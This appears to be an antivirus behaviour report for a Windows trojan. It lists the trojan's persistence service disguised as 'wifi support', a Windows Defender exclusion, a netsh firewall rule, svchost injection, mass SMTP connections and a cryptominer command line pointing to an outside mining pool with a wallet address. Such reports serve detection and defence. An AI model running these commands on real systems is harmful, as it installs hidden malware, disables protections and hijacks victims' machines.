Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\nbhwqtic] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\nbhwqtic] 'ImagePath' = '%WINDIR%\SysWOW64\nbhwqtic\kspgmqrc.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\nbhwqtic] 'ImagePath' = '%WINDIR%\SysWOW64\nbhwqtic\kspgmqrc.exe'
Creates the following services
- 'nbhwqtic' %WINDIR%\SysWOW64\nbhwqtic\kspgmqrc.exe /d"<Full path to file>"
- 'nbhwqtic' %WINDIR%\SysWOW64\nbhwqtic\kspgmqrc.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\nbhwqtic' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\kspgmqrc.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\kspgmqrc.exe to %WINDIR%\syswow64\nbhwqtic\kspgmqrc.exe
Deletes itself.
Network activity
Connects to
- 'mi##########m.mail.protection.outlook.com':25
- 'sm###.#ail.medcity.net':25
- 'ma##.#amorzad.pl':25
- 'mx#######b01.gslb.pphosted.com':25
- 'mx.#####rnstartrading.com':25
- 'mx#######601.gslb.pphosted.com':25
- 'ma####.smtproutes.org':25
- 'mx#######c03.gslb.pphosted.com':25
- 'mx#.###lchannels.net':25
- 'fa###ool.xyz':10060
- 'cl######j.mailcontrol.com':25
- 'wp##ve.com':443
- 'mx####.##il.gm0.yahoodns.net':25
- 'ox######dicalsimulation.com':443
- 'em##.freenet.de':25
- 'in###gram.com':443
- 'mx.#len.pl':25
- 'mx##.#-online.de':25
- 'sp######.yellowstone.co.uk':25
- 'mx.####iciodecorreo.es':25
- 'mx#.#anmail.net':25
- '23.##0.0.254':443
- '34.##6.77.69':443
- '80.##.75.254':485
- 'mx#.#aver.com':25
- 'fa#.#axaway.com':25
- 'mx.###m.kgslb.com':25
- 'mx#.#eznam.cz':25
- '31.##.244.126':421
- '31.##.244.82':421
- '31.##.244.127':421
- 'sv####lfheim.top':443
- '80.#6.75.4':421
- '31.##.244.85':421
- 'google.com':80
- 'mx##########tral-1.prod.hydra.sophos.com':25
- 'alt1.aspmx.l.google.com':25
- 'mx#.###290-59.iphmx.com':25
- 'ma##.#utanota.de':25
- 'mx#.#sgsafe.io':25
- '45.##3.131.16':443
- '31.##.244.128':421
- 'mx#######501.gslb.pphosted.com':25
- 'mx.#vhk.com':25
TCP
HTTP GET requests
- http://www.google.com/
Other
- 'sv####lfheim.top':443
- 'ox######dicalsimulation.com':443
- 'mx####.##il.gm0.yahoodns.net':25
- 'mx.####iciodecorreo.es':25
- 'wp##ve.com':443
- 'sp######.yellowstone.co.uk':25
- 'ma####.smtproutes.org':25
- 'mx.#####rnstartrading.com':25
- 'ma##.#amorzad.pl':25
- 'mx#######b01.gslb.pphosted.com':25
- 'fa###ool.xyz':10060
- 'mx#.###lchannels.net':25
- 'mx#.#anmail.net':25
- '23.##0.0.254':443
- '34.##6.77.69':443
- 'in###gram.com':443
- '45.##3.131.16':443
- 'ma##.#utanota.de':25
- 'alt1.aspmx.l.google.com':25
- 'mx##########tral-1.prod.hydra.sophos.com':25
- '31.##.244.85':421
- '31.##.244.82':421
- 'mx#.#eznam.cz':25
- '80.#6.75.4':421
- '31.##.244.128':421
- '31.##.244.127':421
- '31.##.244.126':421
- 'mx.###m.kgslb.com':25
- 'fa#.#axaway.com':25
- 'mx#.#aver.com':25
- '80.##.75.254':485
- 'aspmx.l.google.com':25
- 'mx.#vhk.com':25
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK fg##f.org
- DNS ASK fa#####insurance.com
- DNS ASK mx#######c03.gslb.pphosted.com
- DNS ASK er####enland.com
- DNS ASK ma####.smtproutes.org
- DNS ASK fl###ick.com
- DNS ASK er###ink.net
- DNS ASK em##son.com
- DNS ASK mx.#####rnstartrading.com
- DNS ASK ea#####startrading.com
- DNS ASK mx#######b01.gslb.pphosted.com
- DNS ASK e-##s.com
- DNS ASK ma##.#amorzad.pl
- DNS ASK mx#######601.gslb.pphosted.com
- DNS ASK ms##afe.io
- DNS ASK sp######.yellowstone.co.uk
- DNS ASK mx#######501.gslb.pphosted.com
- DNS ASK am###trade.com
- DNS ASK mx##.#-online.de
- DNS ASK t-##line.de
- DNS ASK mx.#len.pl
- DNS ASK o2.pl
- DNS ASK dr###czyn.pl
- DNS ASK cl######j.mailcontrol.com
- DNS ASK fr##net.de
- DNS ASK ox######dicalsimulation.com
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK ve##zon.net
- DNS ASK mx.####iciodecorreo.es
- DNS ASK ga####cuevas.com
- DNS ASK em##.freenet.de
- DNS ASK wp##ve.com
- DNS ASK sm###.#ail.medcity.net
- DNS ASK do#####-hospital.net
- DNS ASK fa###ool.xyz
- DNS ASK 23#.###.#12.82.zen.spamhaus.org
- DNS ASK sv####lfheim.top
- DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
- DNS ASK na##r.com
- DNS ASK mx#.#aver.com
- DNS ASK 23#.###.#12.82.bl.spamcop.net
- DNS ASK dv##.com
- DNS ASK fa##way.com
- DNS ASK mx#.#eznam.cz
- DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
- DNS ASK 23#.###.#12.82.cbl.abuseat.org
- DNS ASK 23#.###.112.82.in-addr.arpa
- DNS ASK da##.net
- DNS ASK mx.###m.kgslb.com
- DNS ASK fa#.#axaway.com
- DNS ASK in###gram.com
- DNS ASK google.com
- DNS ASK pa###kam.com
- DNS ASK bo#####er-grohmann.de
- DNS ASK mx#.###lchannels.net
- DNS ASK da####ttwerk.net
- DNS ASK mx#.#anmail.net
- DNS ASK ha##ail.net
- DNS ASK aspmx.l.google.com
- DNS ASK mx##########tral-1.prod.hydra.sophos.com
- DNS ASK us####ichita.com
- DNS ASK se##am.cz
- DNS ASK ma##.#utanota.de
- DNS ASK tu###ota.com
- DNS ASK mx#.###290-59.iphmx.com
- DNS ASK sc##arz.com
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK mx#.#sgsafe.io
- DNS ASK mx.#vhk.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\nbhwqtic\kspgmqrc.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\nbhwqtic\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\kspgmqrc.exe" %WINDIR%\SysWOW64\nbhwqtic\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create nbhwqtic binPath= "%WINDIR%\SysWOW64\nbhwqtic\kspgmqrc.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description nbhwqtic "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start nbhwqtic' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\nbhwqtic\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\kspgmqrc.exe" %WINDIR%\SysWOW64\nbhwqtic\
- '%WINDIR%\syswow64\sc.exe' create nbhwqtic binPath= "%WINDIR%\SysWOW64\nbhwqtic\kspgmqrc.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description nbhwqtic "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start nbhwqtic
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
